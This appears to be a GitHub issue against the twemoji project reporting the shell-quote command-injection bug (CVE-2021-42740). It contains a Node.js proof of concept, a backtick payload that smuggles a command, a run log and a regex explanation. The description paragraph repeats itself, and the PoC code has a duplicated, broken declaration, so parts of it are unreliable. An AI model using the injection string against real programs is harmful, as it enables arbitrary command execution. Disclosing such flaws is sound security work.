Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Improper neutralization of special elements used in a command in twemoji shell-quote #639

Open
hackersontwohouse opened this issue May 17, 2024 · 1 comment

Comments

@hackersontwohouse
Copy link

Describe the bug
The project twitter/twemoji was used the shell-quote used on your project before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is {A-z] instead of the correct {A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character. Affected of this project are vulnerable to Remote Code Execution (RCE). An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is {A-z] instead of the correct {A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.

#638

const childProcess = require('twemoji');
const childProcess = require('child_process');
const shellQuote = require('shell-quote');

const untrusted = process.argv[2];
console.log('untrusted', untrusted);
const result = childProcess.execSync(shellQuote.quote(['printf', '%s\n', untrusted]));
console.log('result', result);

The shell-quote package is commonly used to escape untrusted inputs for use in shell commands. This example takes an untrusted input, quotes it, and runs it through a command which prints it back out. We only want this to give back a string, not to allow an untrusted input to run an arbitrary command. Suppose we have this program called pwnme in the path, which if it is executed, we’ve failed our security goal:

#!/bin/sh
touch /tmp/i-am-pwned
echo "oh no"

I’ve found that a weakness in shell-quote can allow an untrusted input to run the pwnme script:

node test.js '`:`pwnme``:`'
ls -l /tmp/i-am-pwned
untrusted `:`pwnme``:`
/bin/sh: 1: :oh: not found
result <Buffer 3a 60 0a>
-rw-rw-r-- 1 app app 0 May 17 03:17 /tmp/i-am-pwned

The search-and-replace for no-double-quotes-no-spaces-no-single-quotes inputs is as follows:

return String(s).replace(/([A-z]:)?([#!"$&'()*,:;<=>?@\[\\\]^`{|}])/g, '$1\\$2');

It looks like the ([A-z]:)? part is meant to help with Windows drive letters. However due to the layout of ASCII, [A-z] includes A through Z, several symbols []^_, and a through z. This allows segments such as :trigger a match of the first capturing group, so that it gets replaced with:`. Overall, the input

`:\`pwnme\``:\`
^^^^^^^^^^^^     command substitution
                   tries to run :`pwnme`
                                ^         literal colon
                                 ^^^^^^^  command substitution
                                            tries to run pwnme
                                              pwnme prints oh no
                   tries to run :oh no
                     :oh command not found, so empty
            ^    literal colon
             ^^  escaped backtick, so literal backtick
                 result is :`

🥷 According CVeScores:

CVE-2021-42740
CWE-77 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants
@hackersontwohouse and others